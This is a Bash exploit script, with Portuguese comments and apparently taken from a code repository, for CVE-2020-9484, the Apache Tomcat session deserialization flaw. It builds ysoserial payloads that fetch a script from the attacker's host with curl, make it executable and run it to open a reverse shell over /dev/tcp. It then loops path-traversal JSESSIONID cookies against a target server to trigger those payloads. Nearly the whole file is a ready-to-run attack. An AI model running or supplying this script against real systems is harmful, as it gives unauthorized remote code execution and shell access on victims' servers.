94 lines
3.7 KiB
Bash
Executable File
94 lines
3.7 KiB
Bash
Executable File
#!/bin/bash
|
|
|
|
if [ $# -ne 4 ]; then
|
|
echo " "
|
|
echo " CVE-2020-9484 Exploit"
|
|
echo " Apache Tomcat Deserialization"
|
|
echo " "
|
|
echo " Usage:"
|
|
echo " $0 [your IP] [your port] [target IP] [target port]"
|
|
echo " Example:"
|
|
echo " $0 192.168.100.4 1337 192.168.10.119 8080"
|
|
exit 1
|
|
fi
|
|
|
|
# Gera payload 1 (comando que irá baixar o payload no server)
|
|
echo " [*] Gerando payload 1..."
|
|
java -jar ysoserial-all.jar CommonsCollections2 'curl http://'$1'/payload.sh > /tmp/payload.sh' > downloadPayload.session
|
|
|
|
# Gera payload 2 (payload que fará a conexão reversa)
|
|
echo " [*] Gerando payload 2..."
|
|
echo "#\!/bin/bash" > payload.sh;echo 'bash -c "bash -I >& /dev/tcp/'$1'/'$2' 0>&1"' >> payload.sh
|
|
|
|
# Gera payload 3 (dá permissões ao payload)
|
|
echo " [*] Gerando payload 3..."
|
|
java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
|
|
|
|
# Gera payload 4 (executa o payload)
|
|
echo " [*] Gerando payload 4..."
|
|
java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/payload.sh" > executePayload.session
|
|
|
|
# Gera wordlist
|
|
echo " [*] Gerando wordlist..."
|
|
echo "../../../../../../tmp/" > wl.txt
|
|
echo "../../../../../tmp/" >> wl.txt
|
|
echo "../../../../tmp/" >> wl.txt
|
|
echo "../../../tmp/" >> wl.txt
|
|
echo "../../tmp/" >> wl.txt
|
|
echo "../../../../../../home/" >> wl.txt
|
|
echo "../../../../../home/" >> wl.txt
|
|
echo "../../../../home/" >> wl.txt
|
|
echo "../../../home/" >> wl.txt
|
|
echo "../../home/" >> wl.txt
|
|
echo "../../../../../../opt/" >> wl.txt
|
|
echo "../../../../../opt/" >> wl.txt
|
|
echo "../../../../opt/" >> wl.txt
|
|
echo "../../../opt/" >> wl.txt
|
|
echo "../../opt/" >> wl.txt
|
|
echo "../../../../../../opt/samples/" >> wl.txt
|
|
echo "../../../../../opt/samples/" >> wl.txt
|
|
echo "../../../../opt/samples/" >> wl.txt
|
|
echo "../../../opt/samples/" >> wl.txt
|
|
echo "../../opt/samples/" >> wl.txt
|
|
echo "../../../../../../opt/samples/uploads/" >> wl.txt
|
|
echo "../../../../../opt/samples/uploads/" >> wl.txt
|
|
echo "../../../../opt/samples/uploads/" >> wl.txt
|
|
echo "../../../opt/samples/uploads/" >> wl.txt
|
|
echo "../../opt/samples/uploads/" >> wl.txt
|
|
echo "../../../../../../usr/local/" >> wl.txt
|
|
echo "../../../../../usr/local/" >> wl.txt
|
|
echo "../../../../usr/local/" >> wl.txt
|
|
echo "../../../usr/local/" >> wl.txt
|
|
echo "../../usr/local/" >> wl.txt
|
|
echo "../../../../../../usr/local/tomcat/" >> wl.txt
|
|
echo "../../../../../usr/local/tomcat/" >> wl.txt
|
|
echo "../../../../usr/local/tomcat/" >> wl.txt
|
|
echo "../../../usr/local/tomcat/" >> wl.txt
|
|
echo "../../usr/local/tomcat/" >> wl.txt
|
|
|
|
echo " [!] Lembre-se de iniciar o web server neste diretório"
|
|
echo " [!] Lembre-se de abrir a porta "$2"/TCP"
|
|
|
|
# Explora
|
|
echo " [*] Explorando..."
|
|
for i in $(cat wl.txt);do
|
|
echo ' [+] Cookie:JSESSIONID='$i'downloadPayload'
|
|
curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -F 'image=@downloadPayload.session' -a "Chrome" &>/dev/null;
|
|
sleep 1;
|
|
curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -A "Chrome" &>/dev/null;
|
|
sleep 1;
|
|
echo ' [+] Cookie:JSESSIONID='$i'chmodPayload'
|
|
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -F 'image=@chmodPayload.session' -a "Chrome" &>/dev/null;
|
|
sleep 1;
|
|
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -A "Chrome" &>/dev/null;
|
|
sleep 1;
|
|
echo ' [+] Cookie:JSESSIONID='$i'executePayload'
|
|
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -F 'image=@executePayload.session' -a "Chrome" &>/dev/null;
|
|
sleep 1;
|
|
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -A "Chrome" &>/dev/null;
|
|
sleep 1;
|
|
done
|
|
|
|
# Remove arquivos gerados anteriormente
|
|
rm wl.txt payload.sh downloadPayload.session chmodPayload.session executePayload.session &>/dev/null
|